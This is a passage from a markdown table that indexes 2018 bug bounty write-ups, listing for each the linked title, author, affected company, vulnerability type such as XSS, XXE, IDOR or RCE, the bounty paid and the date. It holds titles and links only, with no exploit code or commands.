Second Time](https://medium.com/@maxpasqua/chaining-two-vulnerabilities-to-break-facebook-appointment-times-for-the-second-time-ac639f8c8773) | Max
Pasqua | Facebook | Logic flaw, DoS | $500 | 12/14/2018
[#BugBounty — “User Account Takeover-I just need your email id to login into
your shopping portal account”](https://medium.com/@logicbomb_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | OAuth flaw,
Authentication bypass, Account takeover | - | 12/13/2018
[Exploiting XXE with local DTD files](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) | [Arseniy Sharoglazov
(@_mohemiv)](https://twitter.com/_mohemiv) | - | XXE | | 12/13/2018
[Pilot Into Facebook Group Support](https://wongmjane.com/post/pilot-info-fb-group-support/) | [Jane Manchun Wong
(@wongmjane)](https://twitter.com/wongmjane) | Facebook | Logic flaw,
Authorization flaw | $0 | 12/13/2018
[[Open redirect] Developers are lazy(or maybe
busy)](https://medium.com/bugbountywriteup/open-redirect-developers-are-lazy-or-maybe-busy-6c51718b10e4) | [KatsuragiCSL
(@ZuuitterE)](https://twitter.com/ZuuitterE) | - | Open redirect | $150 |
12/12/2018
[Second bite on GitLab, and some interesting Ruby
functions/features](https://blog.nyangawa.me/jekyll/update/2018/12/12/CVE-2018-18649-Gitlab-RCE.html) | Nyangawa | Gitlab | RCE | $10,000 | 12/12/2018
[From blind XXE to root-level file read
access](https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/) | [Pieter Hiele (@honoki)](https://twitter.com/honoki) | - | Blind
XXE | - | 12/12/2018
[How i was able to pwned application by Bypassing Cloudflare
WAF](https://medium.com/bugbountywriteup/bypass-cloudflare-waf-to-pwned-application-2c9e4f862319) | [gujjuboy10x00
(@vis_hacker)](https://twitter.com/vis_hacker) | - | WAF bypass | - |
12/12/2018
[Microsoft Account Takeover Vulnerability Affecting 400 Million
Users](https://www.safetydetective.com/blog/microsoft-outlook/) | Aviva Zacks
| Facebook | Subdomain takeover, OAuth flaw | - | 12/11/2018
[How I could have stolen your photos from Google - my first 3 bug bounty
writeups](https://blog.avatao.com/How-I-could-steal-your-photos-from-Google/)
| [Gergő Turcsányi (@GergoTurcsanyi)](https://twitter.com/GergoTurcsanyi) |
Google | Parameter tampering, Authorization flaw, IDOR | $4,133.7 | 12/11/2018
[How I was able to generate Access Tokens for any Facebook
user.](https://medium.com/bugbountywriteup/how-i-was-able-to-generate-access-tokens-for-any-facebook-user-6b84392d0342) | [Samm0uda
(@Samm0uda)](https://twitter.com/Samm0uda) | Facebook | IDOR, Information
disclosure | - | 12/11/2018
[Bruteforcing Instagram account’s passwords without
limit.](https://medium.com/@samm0uda/bruteforcing-instagram-accounts-passwords-without-limit-7eaeda606ea) | [Samm0uda
(@Samm0uda)](https://twitter.com/Samm0uda) | Facebook | Bruteforce, Lack of
rate limiting | - | 12/11/2018
[A Misconfiguration in techprep.fb.com REST API allowed me to modify any user
profile.](https://medium.com/@samm0uda/a-misconfiguration-in-techprep-fb-com-rest-api-allowed-me-to-modify-any-user-profile-9dd0ff99d757) | [Samm0uda
(@Samm0uda)](https://twitter.com/Samm0uda) | Facebook | Authorization flaw | -| 12/11/2018
[How i was able to upload files to
api.techprep.fb.com](https://medium.com/@samm0uda/how-i-was-able-to-upload-files-to-api-techprep-fb-com-74308ff767b) | [Samm0uda
(@Samm0uda)](https://twitter.com/Samm0uda) | Facebook | Unrestricted file
upload, XSS | - | 12/11/2018
[Token Brute-Force to Account Take-over to Privilege Escalation to
Organization Take-Over](https://medium.com/bugbountywriteup/token-brute-force-to-account-take-over-to-privilege-escalation-to-organization-take-over-650d14c7ce7f) | [Plenum (@plenumlab)](https://twitter.com/plenumlab) | -| Account takeover, Privilege escalation, Bruteforce | - | 12/10/2018
[My first bug bounty writeup](https://medium.com/@sampanna/self-xss-in-indeed-com-e0c99c104cba) | Sampanna Chimoriya | Indeed | XSS, HTML injection | - |
12/10/2018
[Change Anyone’s profile picture-Exploiting
IDOR](https://medium.com/@rupika.luhach/change-anyones-profile-picture-exploiting-idor-41369f5acf75) | Rupika Luhach | - | IDOR | - | 12/09/2018
[Proof Of Concept Nokia Cross Site
Scripting](https://medium.com/@adeshkolte/proof-of-concept-nokia-cross-site-scripting-5bb47c3b9529) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Nokia | XSS | $0, HoF |
12/09/2018
[How I was Able To Bypass Email
Verification](https://blog.securitybreached.org/2018/12/08/how-i-was-able-to-bypass-email-verification/) | [Muzammil Kayani
(@muzammilabbas2)](https://twitter.com/muzammilabbas2) | - | Information
disclosure | $200 | 12/08/2018
[RCE in Hubspot with EL injection in
HubL](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) | [Fyoorer (@ƒyoorer)](https://twitter.com/ƒyoorer) | Hubspot |
RCE | - | 12/07/2018
[Billion Laugh Attack in
https://sites.google.com](https://blog.intothesymmetry.com/2018/12/billion-laugh-attack-in.html) | [Antonio Sanso (@asanso)](https://twitter.com/asanso)
| Google | Billion laugh attack, DoS | $500 | 12/05/2018
[XSS to XXE in Prince v10 and below
(CVE-2018-19858)](https://www.corben.io/XSS-to-XXE-in-Prince/) | [Corben Leo
(@hacker_)](https://twitter.com/hacker_) | - | XSS, XXE | - | 12/05/2018
[Taking over Google calendar of a
company](https://medium.com/bugbountywriteup/taking-over-google-calendar-of-a-company-1c49071f6a9) | Daniel V. | - | Subdomain takeover | - | 12/04/2018
[How to accidentally find a XSS in ProtonMail iOS
app](https://www.secu.ninja/2018/12/04/how-to-accidentally-find-a-xss-in-protonmail-ios-app/) | [SecuNinja (@secuninja)](https://twitter.com/secuninja)
| ProtonMail | XSS | - | 12/04/2018
[GitHub Desktop RCE (OSX)](https://pwning.re/2018/12/04/github-desktop-rce/) |
[André Baptista (@0xACB)](https://twitter.com/0xACB) | Github | RCE | - |
12/04/2018
[Digging in to SCP Command Injection](https://dylankatz.com/digging-in-to-scp-command-injection/) | [Dylan Katz (@Plazmaz)](https://twitter.com/Plazmaz) |
JSch | Command injection | $0 | 12/03/2018
[[BBP系列三] Hijack the JS File of Uber’s
Website](http://zhchbin.github.io/2018/12/03/Hijack-the-JS-File-of-Uber-s-Website/) | [Chaobin Zhang](http://zhchbin.github.io/about/) | Uber | JS file
hijacking | $6,000 | 12/03/2018
[Love Story Of A Account Takeover (Chaining Host Header Injection To Takeover
Someones Account)](https://chainlover.blogspot.com/2018/11/love-story-of-account-takeover-chaining.html) | Logical Bimboo | - | Host header injection |
- | 11/30/2018
[Story about my first bug bounty](https://medium.com/@sudhanshur705/story-about-my-first-bug-bounty-9fe710be8241) | [Sudhanshu
Raj](https://www.facebook.com/sudi.stark) | Alibaba | XSS | $100 | 11/30/2018
[Exploiting post message to steal and replace user’s
cookies](https://medium.com/@yassergersy/exploiting-post-message-to-steal-users-cookies-7df43a00289a) | [Yasser Gersy
(@yassergersy)](https://twitter.com/yassergersy) | - | postMessage flaw | - |
11/30/2018
[Broken Authentication — Bug
Bounty](https://medium.com/bugbountywriteup/broken-authentication-bug-bounty-5c941a4a5f48) | [Vulnerables](https://medium.com/@vulnerables) | - |
Improper session management | $50 | 11/28/2018
[IRCTC — Millions of Passenger Details left at huge
risk!](https://medium.com/@logicbomb_1/irctc-millions-of-passenger-details-left-at-huge-risk-18c5ecc09d7f) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | IRCTC | Information
disclosure, Lack of rate limiting | $0 | 11/28/2018
[Pwning eBay - How I Dumped eBay Japan’s Website Source
Code](https://slashcrypto.org/2018/11/28/eBay-source-code-leak/) | [David
(@slashcrypto)](https://twitter.com/slashcrypto) | Ebay | .git folder
disclosure, Source code disclosure | $0, HoF | 11/28/2018
[How I Managed to Create Unauthorized Comments on Facebook Live Stream- part
1](https://www.thegeekytech.com/facebook-bug-bounty-part-1/) | Binit Ghimire |
Facebook | Authorization flaw | $750 | 11/27/2018
[Instagram Multi-factor authentication
Bypass](https://medium.com/@vishnu0002/instagram-multi-factor-authentication-bypass-924d963325a1) | Vishnuraj KV | Facebook | 2FA bypass | - | 11/27/2018
[XSS on Facebook’s acquisition Oculus CDN](https://www.amolbaikar.com/xss-on-facebooks-acquisition-oculus-cdn/) | [Amol Baikar
(@AmolBaikar)](https://twitter.com/AmolBaikar) | Facebook | XSS | $1,500 |
11/27/2018
[XSS on Facebook-Instagram CDN Server bypassing signature
protection.](https://www.amolbaikar.com/xss-on-facebook-instagram-cdn-server-bypassing-signature-protection/) | [Amol Baikar
(@AmolBaikar)](https://twitter.com/AmolBaikar) | Facebook | XSS | $1,500 |
11/27/2018
[Facebook Source Code Disclosure in ads
API](https://www.amolbaikar.com/facebook-source-code-disclosure-in-ads-api/) |
[Amol Baikar (@AmolBaikar)](https://twitter.com/AmolBaikar) | Facebook | Sourc
code disclosure | - | 11/26/2018
[From CTFs to Bug Bounty Booty](https://medium.com/@benjitobias/from-ctfs-to-bug-bounty-booty-81bab999b70d) | Benji Tobias | Tailor Store | Information
disclosure | $200 | 11/26/2018
[XML XSS in *.yandex.ru by Accident](https://medium.com/@0ktavandi/xml-xss-in-yandex-ru-by-accident-7e63c692b4c0) | [Oktavandi
(@0ktavandi)](https://twitter.com/0ktavandi) | Yandex | XSS | $160 |
11/26/2018
[My Journey To The Google Hall Of Fame](https://www.secjuice.com/google-hall-of-fame/) | [Abartan Dhakal (@imhaxormad)](https://twitter.com/imhaxormad) |
Google | Open redirect, XSS | - | 11/25/2018
[Stored XSS Vulnerability in Jotform and H1C Private
Site](https://www.hackerinside.me/2018/11/critical-stored-xss-vulnerability.html) | [Anas Mahmood
(@AnasIsHere)](https://www.facebook.com/AnasIsHere) | - | Stored XSS | $1,000
| 11/23/2018
[Bypassing Scratch Cards On Google
Pay](https://medium.com/@pratheesh.p.narayanan/bypassing-scratch-cards-on-google-pay-8915d5423385) | [Pratheesh P
Narayanan](https://twitter.com/PRATHEESH_PPN) | Google | Logic flaw | $0,
Duplicate | 11/22/2018
[Exploiting SSRF like a Boss — Escalation of an SSRF to Local File
Read!](https://medium.com/@zain.sabahat/exploiting-ssrf-like-a-boss-c090dc63d326) | [Zain Sabahat
(@Zain_Sabahat)](https://twitter.com/Zain_Sabahat) | - | SSRF, LFI | - |
11/22/2018
[An interesting XXE in SAP.](https://medium.com/@zain.sabahat/an-interesting-xxe-in-sap-8b35fec6ef33) | [Zain Sabahat
(@Zain_Sabahat)](https://twitter.com/Zain_Sabahat) | SAP | XXE | - |
11/22/2018
[How i Found Information Disclosure on
Scribd.com](https://medium.com/@androgaming1912/how-i-found-password-bypass-vulnerability-on-private-document-at-scribd-com-c0905e8dcc9a) | Zerb0a |
Scribd.com | CSRF | $0 | 11/22/2018
[How I Hacked Netflix users & Use it free
forever](https://medium.com/@vignesh4303/how-i-hacked-netflix-users-use-it-free-forever-9febb1427262) | [Blueberryinfosec
(@bbinfosec)](https://twitter.com/bbinfosec) | Netflix | Cookie injection,
Privilege escalation | $0 | 11/19/2018
[XS-Searching Google’s bug tracker to find out vulnerable source
code](https://medium.com/@luanherrera/xs-searching-googles-bug-tracker-to-find-out-vulnerable-source-code-50d8135b7549) | [Luan Herrera
(@lbherrera_)](https://twitter.com/lbherrera_) | Google | XS-Search attack,
Information disclosure | $9,400 | 11/19/2018
[Authentication bypass in NodeJS application — a bug bounty
story](https://medium.com/@_bl4de/authentication-bypass-in-nodejs-application-a-bug-bounty-story-d34960256402) | [bl4de
(@_bl4de)](https://twitter.com/_bl4de) | - | Authentication bypass | - |
11/19/2018
[XSS bypass using META tag in
realestate.postnl.nl](https://medium.com/bugbountywriteup/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308) | [Prial Islam Khan
(@prial261)](https://twitter.com/prial261) | post.nl | XSS | $0, HoF, Swag |
11/18/2018
[From Security Misconfiguration to Gaining Access of SMTP
server](https://medium.com/bugbountywriteup/from-security-misconfiguration-to-gaining-access-of-smtp-server-ed833e757e6e) | Daniel V. | - | Phpinfo file
disclosure | - | 11/18/2018
[Edmodo XSS Bug](https://medium.com/@sameerphad72/edmodo-xss-bug-9c0fc9bdd0bf)
| [Sameer Phad (@sameerphad72)](https://twitter.com/sameerphad72) | Edmodo |
XSS | - | 11/18/2018
[Bypassing “How I hacked Google’s bug tracking system itself for $15,600 in
bounties.”](https://medium.com/@gopalsingh/bypassing-how-i-hacked-googles-bug-tracking-system-itself-for-15-600-in-bounties-16134466ab15) | [Gopal Singh
(@gopalsinghcse)](https://twitter.com/gopalsinghcse) | Google | Logic flaw |
$3,133.70 | 11/17/2018
[Microsoft BingPlaces Business - (url) Redirect
Vulnerability](https://www.vulnerability-db.com/?q=articles/2018/11/16/microsoft-bingplaces-business-url-redirect-vulnerability) | Benjamin K.M. | Microsoft | Open redirect | - | 11/16/2018
[XSS in hidden input fields](https://portswigger.net/blog/xss-in-hidden-input-fields) | Portswigger | - | XSS | - | 11/16/2018
[[POC] Cross-Site Scripting on Garuda Indonesia
Website](https://medium.com/@ariffadhlullah2310/poc-cross-site-scripting-on-garuda-indonesia-website-452f4864f615) | Arif-ITSEC111 | Garuda Indonesia |
XSS | - | 11/16/2018
[HackenProof Customer Story: Uklon](https://blog.hackenproof.com/customer-stories/hackenproof-customer-story-uklon/?utm_content=80013255&utm_medium=social&utm_source=twitter) |
[HackenProof (@hackenproof)](https://twitter.com/hackenproof) | Uklon | XSS,
IDOR, Blind XSS, Account takeover | - | 11/16/2018
[Most common security vulnerabilities in npm static server
modules](https://medium.com/@_bl4de/most-common-security-vulnerabilities-in-npm-static-server-modules-ef593c59d0ba) | [bl4de
(@_bl4de)](https://twitter.com/_bl4de) | Node.js third-party modules | Path
traversal, LFI, HTML injection, XSS | - | 11/16/2018
[[email protected] Account Takeover via Cross site request
forgery](https://medium.com/@adeshkolte/lintern-ute-account-takeover-via-csrf-adesh-kolte-307f7065ee74) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | [[email protected]](/cdn-cgi/l/email-protection) | CSRF | - | 11/16/2018
[Spoofing file extensions on
HackerOne](https://cooltrickshome.blogspot.com/2018/11/spoofing-file-extensions-on-hackerone.html) | [Anurag
Jain(@csanuragjain)](https://twitter.com/csanuragjain) | Hackerone |
Unrestricted file upload | - | 11/16/2018
[Disclose Page Admins via Gaming Dashboard
Bans](https://philippeharewood.com/disclose-page-admins-via-gaming-dashboard-bans/) | [Philippe Harewood](https://twitter.com/phwd) | Facebook |
Information disclosure | - | 11/15/2018
[Facebook Vulnerability: Hiding from the view of Business Admin in the
Business Manager](https://medium.com/@ritishkumarsingh/facebook-vulnerability-hiding-from-the-view-of-business-admin-in-the-business-manager-a04515fee9dd) |
Ritish Kumar Singh | Facebook | Logic flaw, Authorization flaw | $500 |
11/15/2018
[How I Discovered XSS that Affects around 20 Uber
Subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) | [Fady Othman
(@Fady_Othman)](https://twitter.com/Fady_Othman) | Uber | XSS | $2,500 |
11/14/2018
[Breaking Appointments and Job Interview Schedules With Malformed
Times](https://medium.com/@maxpasqua/breaking-appointments-and-job-interview-schedules-with-malformed-times-edef103e46ba) | Max Pasqua | Facebook | DoS |
$500 | 11/14/2018
[Spoof All Domains Containing ‘d’ in Apple Products
[CVE-2018-4277]](https://xlab.tencent.com/en/2018/11/13/cve-2018-4277/) |
[Tencent’s Xuanwu Lab](https://twitter.com/xuanwulab) | Apple | Browser flaw |
- | 11/13/2018
[OOB XXE in PrizmDoc (CVE-2018–15805)](https://medium.com/@mrnikhilsri/oob-xxe-in-prizmdoc-cve-2018-15805-dfb1e474345c) | Nik srivastava | PrizmDoc | OOB
XXE | - | 11/13/2018
[[DOM based XSS] Or why you should not rely on Cloudflare too
much](https://medium.com/bugbountywriteup/dom-based-xss-or-why-you-should-not-rely-on-cloudflare-too-much-a1aa9f0ead7d) | [KatsuragiCSL
(@ZuuitterE)](https://twitter.com/ZuuitterE) | - | DOM XSS | - | 11/13/2018
[Patched Facebook Vulnerability Could Have Exposed Private Information About
You and Your Friends](https://www.imperva.com/blog/facebook-privacy-bug/) |
Ron Masas | Facebook | CSRF, Information disclosure | - | 11/13/2018
[Chain exploitation of XSS](https://mike-n1.github.io/Chain_XSS) | [Mikhail
Klyuchnikov (@__Mn1__)](https://twitter.com/__Mn1__) | - | DOM XSS,
Clickjacking, CSRF | | 11/12/2018
[Clickjacking on Google MyAccount Worth
7,500$](https://apapedulimu.click/clickjacking-on-google-myaccount-worth-7500/) | [Anurag Jain(@csanuragjain)](https://twitter.com/csanuragjain)
| Google | Clickjacking | $7,500 | 11/11/2018
[#bugbounty How I Takeover Microsoft
Store.](https://medium.com/@sadiqwest01/bugbounty-how-i-takeover-microsoft-store-a58c1b785aa0) | Sadiq West | Microsoft | Subdomain takeover | $0, HoF |
11/08/2018
[Object name Exposure — ING Bank Responsible Disclosure
Program](https://medium.com/@rohitcoder/object-name-exposure-ing-bank-responsible-disclosure-program-1f8f808cc789) | [Rohit kumar
(@rohitcoder)](https://twitter.com/rohitcoder) | ING Bank | Information
disclosure | - | 11/08/2018
[How I earned 5040$ from Twitter by showing a way to Harvest other users IP
address](https://medium.com/bugbountywriteup/how-i-earned-5040-from-twitter-by-showing-a-way-to-harvest-other-users-ip-address-e9f43c931e9a) | [Prial
Islam Khan (@prial261)](https://twitter.com/prial261) | Twitter | Information
disclosure | $5,040 | 11/07/2018
[Vine User’s Private information
disclosure](https://medium.com/@prial261/vine-users-private-information-disclosure-f1c55a3abbb6) | [Prial Islam Khan
(@prial261)](https://twitter.com/prial261) | Vine | IDOR, Information
disclosure | $7,560 | 11/07/2018
[WordPress Design Flaw Leads to WooCommerce
RCE](https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/) | Simon Scannell | Wordpress | RCE | - | 11/06/2018
[XSS in Dynamics 365](https://medium.com/@tim.kent/xss-in-dynamics-365-25c800aac473) | [Tim Kent (@__timk)](https://twitter.com/__timk)
| Microsoft | XSS | - | 11/06/2018
[Hacking a Company Through help desk – Ticket Trick | Bug Bounty
POC](https://blog.securitybreached.org/2018/11/05/hacking-a-company-through-help-desk-bug-bounty-poc/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | - | Ticket Trick | -| 11/05/2018
[Evernote For Windows Read Local File and Command Execute
Vulnerabilities](https://paper.seebug.org/737/) | TongQing Zhu | Evernote |
Stored XSS, LFI, RCE | - | 11/05/2018
[Duplicate but still cool](https://medium.com/bugbountywriteup/duplicate-but-still-cool-236835685075) | [Plenum
(@plenumlab)](https://twitter.com/plenumlab) | - | IDOR, Account takeover | -| 11/05/2018
[Unauthenticated RSFTP to Command Injection](http://codegrazer.com/blog/rsftp-to-command-injection.html#.W-Cijl14IJM.twitter) | [Nicodemo
Gawronski](https://twitter.com/nijagaw) | - | Path traversal, RCE | - |
11/03/2018
[Full Account Takeover via Referer Header (OAuth token Steal, Open Redirect
Vulnerability Chaining)](https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567) | M.Asim Shahzad | - | Open redirect, OAuth token theft,
Account takeover | $1,200 | 11/03/2018
[How Outdated JIRA Instances suffers from multiple security
vulnerabilities?](https://medium.com/@Skylinearafat/how-outdated-jira-instances-suffers-from-multiple-security-vulnerabilities-6a88c45e9ec6) |
Yeasir Arafat | Visma | XSS, SSRF | - | 11/03/2018 | [Archived
content](/assets/img/list-of-bug-bounty-writeups/Web-archives/4026fc793b6fbd9e5f5c7a288e398d48.jpg)
[Imagemagick GIF coder vulnerability leads to memory disclosure
(Hackerone)](https://medium.com/@kunal94/imagemagick-gif-coder-vulnerability-leads-to-memory-disclosure-hackerone-e9975a6a560e) | [Kunal pandey
(@kunalp94)](https://twitter.com/kunalp94) | Hackerone | Imagemagick GIF |
$500 | 11/02/2018
[Finding hidden gems vol. 3: quick win with .sh
file](https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-3-quick-win-with-sh-file-722e58636ded) | [Mateusz
Olejarka](https://twitter.com/molejarka) | - | Information disclosure, Github
leak | - | 11/01/2018
[P1 Like a Boss | Information Disclosure via Github leads to Employee Account
Takeover | Bug Bounty
POC](https://blog.securitybreached.org/2018/11/03/p1-like-a-boss-information-disclosure-via-github-leads-to-employee-account-takeover/) | [Muhammad Khizer
Javed / babayaga47 (@khizer_javed47)](https://twitter.com/khizer_javed47) | -| Information disclosure, Github leak | $1,500 | 11/01/2018
[Stored XSS in Bug Bounty](https://medium.com/bugbountywriteup/stored-xss-in-bug-bounty-13c08e6f5636) | [KatsuragiCSL
(@ZuuitterE)](https://twitter.com/ZuuitterE) | - | Stored XSS | - | 11/01/2018
[[Open Redirect] When your PoC doesn’t work because of the server load
balancers](https://tolo7010.blogspot.com/2018/11/open-redirect-when-your-poc-doesnt-work.html) | [tololovejoi (@tolo7010)](https://twitter.com/tolo7010) |
- | Open redirect | $300 | 11/01/2018
[Bypass HackerOne 2FA requirement and reporter
blacklist](https://medium.com/japzdivino/bypass-hackerone-2fa-requirement-and-reporter-blacklist-46d7959f1ee5) | [Japz Divino
(@japzdivino)](https://twitter.com/japzdivino) | Hackerone | Logic flaw, 2FA
bypass, Authentication flaw | $10,000 | 10/31/2018
[It’s all in the detail: Email leak & Account takeover thanks to
WayBackMachine & extensive knowledge about the
program](https://medium.com/@zseano/its-all-in-the-detail-email-leak-account-takeover-thanks-to-waybackmachine-extensive-4be365580dd7) | [Zseano
(@zseano)](https://twitter.com/zeano) | - | Information disclosure,
Authentication bypass, Account takeover | - | 10/30/2018
[IDOR in JWT and the shortest token you will ever see {}.{“uid”:
“1234567890”}](https://medium.com/@plenumlab/idor-in-jwt-and-the-shortest-token-you-will-ever-see-uid-1234567890-4e02377ea03a) | [Plenum
(@plenumlab)](https://twitter.com/plenumlab) | - | IDOR | $1,500 | 10/30/2018
[Journey through Google referer leakage
bugs.](https://thesecurityexperts.wordpress.com/2018/10/28/journey-through-google-referer-leakage-bugs/) | [KL Sreeram
(@kl_sree)](https://twitter.com/kl_sree) | Google | Information disclosure,
Referer leakage | $4,633.7 | 10/28/2018
[#BugBounty — How I was able to download the Source Code of India’s Largest
Telecom Service Provider including dozens of more popular
websites!](https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | .git
folder disclosure, Source code disclosure | - | 10/27/2018
[Privilege Escalation like a
Boss](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/) | janijay007 | - | IDOR | - | 10/27/2018
[How Misconfigured API leaked user private
information?](https://medium.com/@Skylinearafat/how-misconfigured-api-leaked-user-private-information-e3e8c13e52e4) | Yeasir Arafat | - | IDOR,
Authorization flaw | - | 10/26/2018
[A very useful technique to bypass the CSRF protection for fun and
profit.](https://medium.com/@Skylinearafat/a-very-useful-technique-to-bypass-the-csrf-protection-for-fun-and-profit-471af64da276) | Yeasir Arafat | - |
CSRF | - | 10/26/2018
[CSRF account takeover Explained Automated/Manual — Bug
Bounty](https://medium.com/bugbountywriteup/csrf-account-takeover-explained-automated-manual-bug-bounty-447e4b96485b) |
[Vulnerables](https://medium.com/@vulnerables) | OpenMenu | CSRF, Account
takeover | $250 | 10/26/2018
[CSRF account takeover in a company worth
1B$](https://medium.com/bugbountywriteup/csrf-account-takeover-in-a-company-worth-1b-6e966813c262) | [Vulnerables](https://medium.com/@vulnerables) | - |
CSRF, Account takeover | $100 | 10/26/2018
[Subdomain takeover dew to missconfigured project settings for Custom domain
.](https://medium.com/@prial261/subdomain-takeover-dew-to-missconfigured-project-settings-for-custom-domain-46e90e702969) | [Prial Islam Khan
(@prial261)](https://twitter.com/prial261) | Flock | Subdomain takeover | - |
10/25/2018
[DoS on Facebook Android app using 65530 characters of ZERO WIDTH NO-BREAK
SPACE.](https://medium.com/@kankrale.rahul/dos-on-facebook-android-app-using-65530-characters-of-zero-width-no-break-space-db41ca8ded89) | [Rahul
Kankrale (@RahulKankrale)](https://twitter.com/RahulKankrale) | Facebook | DoS
| - | 10/25/2018
[SOAP- Based Unauthenticated Out-of-Band XML External Entity (OOB-XXE) in a
Help Desk Software](https://medium.com/@mrnikhilsri/soap-based-unauthenticated-out-of-band-xml-external-entity-oob-xxe-in-a-help-desk-software-c27a6abf182a) | Nik srivastava | - | XXE | - | 10/24/2018
[Facebook hidden redirection
vulnerability](https://medium.com/@egeken/facebook-hidden-redirection-vulnerability-aeaaac0b9d73) | Ege Ken | Facebook | Open redirect | $0 |
10/24/2018
[XSS with HTML and how to convert the HTML into
charcode()](https://medium.com/@ariffadhlullah2310/xss-deface-with-html-and-how-to-convert-the-html-into-charcode-f0c62dd5ef3f) | Arif-ITSEC111 | Purinar
Logistics | XSS | - | 10/22/2018
[Google sites and exploiting same origin
policy](https://medium.com/@raushanraj_65039/google-sites-and-exploiting-same-origin-policy-d400bf569964) | [Raushan Raj
(@raushan_rajj)](https://twitter.com/raushan_rajj) | Google | SOP bypass |
$3,133.70 | 10/22/2018
[Cookie-based-injection XSS making exploitable with-out exploiting other
Vulns](https://medium.com/@agrawalsmart7/cookie-based-injection-xss-making-exploitable-with-out-exploiting-other-vulns-81132ca01d67) | [Utkarsh
Agrawal](https://twitter.com/agrawalsmart7) | - | XSS | - | 10/22/2018
[Harvesting all private invites using leave program fast-tracked invitation
and [email protected] email forwarding
feature](https://medium.com/japzdivino/harvesting-all-private-invites-using-leave-program-fast-tracked-invitation-and-security-email-a01c8b3ce76f) | [Japz
Divino (@japzdivino)](https://twitter.com/japzdivino) | Hackerone | Logic flaw
| $2,500 & Swag | 10/22/2018
[A possibility of Account Takeover in
Medium](https://medium.com/@notsoshant/a-possibility-of-account-takeover-in-medium-8d950e547639) | [Prashant Kumar
(@notsoshant)](https://twitter.com/notsoshant) | Medium | Account takeover,
Logic flaw | $0 | 10/20/2018
[XSS with PUT in Ghost Blog](https://www.itsecguy.com/xss-with-put-in-ghost-blog/) | [Derek (@StackCrash)](https://twitter.com/StackCrash) | Ghost | XSS |
- | 10/19/2018
[XSS using a bug in Safari and why blacklists are
stupid](https://labs.detectify.com/2018/10/19/xss-using-a-bug-in-safari-and-why-blacklists-are-stupid/) | [Linus Särud
(@_zulln)](https://twitter.com/_zulln) | Apple | DOM XSS | - | 10/19/2018 |
[Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/ef97fae929631d864e86560ef3bd55bb.jpg)
[Add comment on a private Oculus Developer bug
report](https://medium.com/bugbountywriteup/add-comment-on-a-private-oculus-developer-bug-report-93f35bc80b2c) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | IDOR,
Authorization flaw | - | 10/18/2018
[Security teams Internal attachments can be exported via “Export as .zip”
feature on HackerOne](https://medium.com/japzdivino/security-teams-internal-attachments-can-be-exported-via-export-as-zip-feature-on-hackerone-35ca6ec2bf8b) | [Japz Divino
(@japzdivino)](https://twitter.com/japzdivino) | Hackerone | Logic flaw |
$12,500 | 10/17/2018
[XXE in IBM’s MaaS360 Platform](https://blog.netspi.com/xxe-in-ibms-maas360-platform/) | Cody Wass | IBM | XXE | - | 10/16/2018
[Path traversal while uploading results in
RCE](https://blog.harshjaiswal.com/path-traversal-while-uploading-results-in-rce) | [Harsh Jaiswal (@rootxharsh)](https://twitter.com/rootxharsh) | - |
Path traversal, RCE | - | 10/15/2018
[Brave Browser Script Blocker Bypass
Vulnerability](https://medium.com/bugbountywriteup/brave-browser-script-blocker-bypass-vulnerability-fffd659c5a7) | [Xiaoyin
Liu](https://twitter.com/general_nfs) | Brave Software | Script blocker bypass
| - | 10/13/2018
[Microsoft CSRF Vulnerability](https://medium.com/@adeshkolte/how-i-got-500-from-microsoft-for-csrf-vulnerability-700accaf48b9) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Microsoft | CSRF | $500 |
10/12/2018
[[Bug bounty | mail.ru] Access to the admin panel of the partner site and data
disclosure of 2 million users](https://medium.com/bugbountywriteup/bug-bounty-mail-ru-234fa6f5a5a) | [Max (@iSecMax)](https://twitter.com/iSecMax) | Mail.ru
| Authentication bypass, Blind XSS | - | 10/12/2018
[Magic XSS with two parameters](https://medium.com/@m4shahab1/magic-xss-with-two-parameters-463559b03949) | [Mahmood Shahabi
(@m4shahab1)](https://twitter.com/m4shahab1) | - | XSS | - | 10/12/2018
[Add description to Instagram Posts on behalf of other users -6500$](https://medium.com/bugbountywriteup/add-description-to-instagram-posts-on-behalf-of-other-users-6500-7d55b4a24c5a) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | IDOR | $6,500 |
10/12/2018
[Microsoft Edge Remote Code Execution](https://leucosite.com/Microsoft-Edge-RCE/) | [Abdulrahman Al-Qabandi (@Qab)](https://twitter.com/qab) | Microsoft |
RCE | - | 10/11/2018
[Access to staging environment via User-Agent
string](https://medium.com/@yassergersy/access-to-staging-environment-via-user-agent-string-23470546577f) | [Yasser Gersy
(@yassergersy)](https://twitter.com/yassergersy) | - | Authentication bypass |
- | 10/10/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/c71a034fd002a794bf3d635a327eb43c.jpg)
[Symantec Messaging Gateway authentication
bypass](https://artkond.com/2018/10/10/symantec-authentication-bypass/) |
[Artem Kondratenko (@artkond)](https://twitter.com/artkond) | Symantec |
Authentication bypass | - | 10/10/2018
